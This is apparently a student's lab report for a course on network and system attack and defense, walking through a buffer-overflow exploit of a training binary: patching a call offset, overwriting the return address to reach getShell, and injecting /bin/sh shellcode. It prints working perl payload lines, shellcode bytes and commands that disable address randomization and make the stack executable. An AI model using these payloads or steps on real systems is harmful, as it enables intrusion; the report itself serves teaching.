• 20192427 202120222《网络与系统攻防技术》实验一


    20192427 2021-2022-2 《网络与系统攻防技术》实验一

    1,实验内容

    1.1 实验要求

    1. 实践的对象:是一个名为pwn1的linux可执行文件。
    2. 该程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    3. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。本次实验实践的目标就是想办法运行这个代码片段。本次实验将用两种方法运行这个代码片段,然后注入运行Shellcode。

    1.2 实践内容

    1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    3. 注入一个自己制作的shellcode并运行这段shellcode。

    2,实验过程

    2.1 直接修改程序机器指令,改变程序执行流程。

    1. 使用objdump指令对pwn20192427进行反汇编
    objdump -d pwn20192427 | more
    


    如上图所示:

    • call 8048491 汇编指令:
      该指令调用位于8048491处的foo函数
      对应机器指令是 e8 d7ffffff
      e8有跳转的意思,解释e8这条指令,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29。
    • main函数中调用foo函数:
      对应机器指令是 e8 d7ffffff
    • d7ffffff为foo函数的地址偏移量,将其改为getshell地址的偏移量,就可以运行getshell函数。
    • 要调用getshell函数,就需要将d7ffffff改成getshell函数地址对应的补码,也就是得到getshsell-80484ba对应的补码即可。
    • 使用windows计算器,计算47d-4ba可以得到补码c3ffffff

    因此,将call指令的目标地址从d7ffffff改为c3ffffff即可

    2,进行修改操作:
    使用vim打开pwn20192427

    vi pwn20192427
    

    输入如下,将显示模式转换为16进制模式

    :%!xxd
    

    查找要修改的内容

    /e8d7
    

    查找结果如下

    将其中的d7修改为c3
    修改结果如下

    转换16进制为原格式

    :%!xxd -r
    

    保存并退出

    :wq
    

    再次使用objdump查看修改结果
    结果如下图

    运行修改过后的代码,得到shell提示符#
    如下图

    2.2 通过构造输入参数,造成BOF攻击,改变程序执行流

    1,通过objdump反汇编再次了解一下pwn20192427程序的汇编代码
    如下图

    在上图中可以发现,在main函数调用的foo函数中只给输入数据分配了0×1c(28字节)的空间,现在需要确认输入字符串的几个字符可以覆盖掉返回地址。

    ==上面的call调用foo,同时在堆栈上压上返回地址值:__________== 
     
     80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
     80484bf:	c9                   	leave  
     80484c0:	c3                   	ret    
     80484c1:	66 90                	xchg   %ax,%ax
     80484c3:	66 90                	xchg   %ax,%ax
     80484c5:	66 90                	xchg   %ax,%ax
     80484c7:	66 90                	xchg   %ax,%ax
     80484c9:	66 90                	xchg   %ax,%ax
     80484cb:	66 90                	xchg   %ax,%ax
     80484cd:	66 90                	xchg   %ax,%ax
     80484cf:	90                   	nop
    
    080484d0 <__libc_csu_init>:
    

    2,确认输入字符串哪几个字符会覆盖返回地址

    这里需要看的是eip的值,此处为0x35353535,35是5的ASCII码值,我们输入总计36位,可以看出此处超出28位的5555溢出到了EIP中

    3,再进一步确认究竟是哪私网的数据溢出到EIP中,我们输入1111111222222233333334444444412345678

    4,由上图可知,eip寄存器中值为4321,为小端字节序,观察可知此处EIP的值为0x34333231,分别对应4321的ascii码,最后是29~32位上的1234覆盖到对战的返回地址EIP的位置上,如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
    5,构造输入字符串
    因为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值
    因此,先生成如下字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    

    注释: 关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

    结果如下:

    同时使用

    xxd input
    

    来查看input文件中的内容是不是符号预期。
    6,再将input通过管道符“|”当作pwn20192427的输入,然后进去getshell

    (cat input;cat) | ./pwn20192427
    


    7,或者不生成文件直接输入

    (perl -e 'print"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat)|./pwn20192427
    

    2.3 注入Shellcode并执行

    2.3.1准备一段shellcode

    1,首先了解shellcode

    • shellcode是一段机器指令
    • 这段机器指令目的是威力获取一个交互式的shell(就像linux的shell或者像window下的cmd.exe)
      -以下实践使用该文章中生成的shellcode,如下
    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
    

    2.3.2准备工作

    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space 
    

    2.3.3构造要注入的patload

    1,Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr
      注释因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
      简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    2,buf够放这个shellcode了
    结构为:nops+shellcode+retaddr;

    • nop一为是了填充,二是作为“着陆区/滑行区”。
    • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

    3,构造的结构是anything+retaddr+nops+shellcode,其中shellcode的内容如下:

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
    

    4,使用此命令构建字符串并保存到input_shellcode中,不确定的字节用 12 34h填充

    perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
    

    5,打开终端注入以下的字符串:

    (cat input_shellcode;cat) | ./pwn20192427
    

    6,打开另一终端,用下命令找pwn20192427的进程号:

    ps -ef | grep pwn20192427
    

    得到进程号:2753
    7,启动gdb调试这个进程

     gdb
    (gdb) attach 2753
    

    然后反汇编foo函数,查看返回指令(ret)的地址
    并在返回指令的地址处设置断点,再另外的一个终端按下回车,再使用c使得程序接着运行

    8,待程序运行到断点处,查看此时的esp寄存器的值,获得我们注入的字符串的地址

    info r esp
    

    9,使用如下的指令查看该地址附近数据

    x/16x 0xffffd31c //看到 01020304了,再往前找
    x/16x 0xffffd300 //看到9090310c了,再往前一点
    x/16x 0xffffd2fc
    x/16x 0xffffd17c
    


    10,从0xffffd15c开始观察,可以发现数据采用小端字节序,并且将返回地址改为ff ff d1 80就可以让程序执行Shellcode,这样一来\x1\x2\x3\x4就应该修改为\x80\xd1\xff\xff,于是我们便重新利用perl语言,将返回地址修改正确,并在最后加上回车(0x0a),然后重新运行程序。

    perl -e 'print "A" x 32;print "\x80\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
    
    (cat input_shellcode;cat) | ./pwn20192427
    

    3,问题及其解决方案

    • 问题一 gdb出现报错 :报信息Detaching after fork from child process ***
      解决方法:网上搜索

      但是,问题还是没有解决,最后重新启动虚拟机才没出现问题

    • 问题二

    解决方法:

    通过同学给的链接,Debian版本的进行下载,链接如下:

    https://debian.pkgs.org/10/debian-main-amd64/execstack_0.0.20131005-1+b10_amd64.deb.html

    • 问题三
      获取注入的字符串的地址出现错误
      问题估计是准备工作出现问题
      解决方法:

      将如上命令重新输入一遍,同学说是,没有关闭地址随机化

    4,实验感想

    此次实验主要是缓冲区溢出攻击,实验的目的是主要使我指导缓冲区溢出的基本概念,实验过程中大部分实验步骤都是参照刘老师的博客,以及云班课的视频去做的。
    做完实验会感觉到自己很多地方不够仔细,对汇编语言了解微乎其微。并且此次的shellcode是由老师在实验报告中提供给大家的,对我的帮助很大,同时提醒我还需要对shellcode的许多相关知识进行进一步的了解

  • 相关阅读:
    5月做题计划(数据结构)
    SRM 545 DIV2
    6月做题计划(递归与分治)
    POJ 3121 The SetStack Computer
    struts2初步学习路线
    my97datepicker日历展示出现中文乱码的问题
    tomcat请求数据的编码设置
    STRUT2传递参数中文乱码解决方法
    js mine 类型javascripttext/javascript,application/javascript, and appliation/xjavascript
    eclipse内存设置参数
  • 原文地址:https://www.cnblogs.com/lrz2427/p/16060598.html
Copyright © 2020-2023  润新知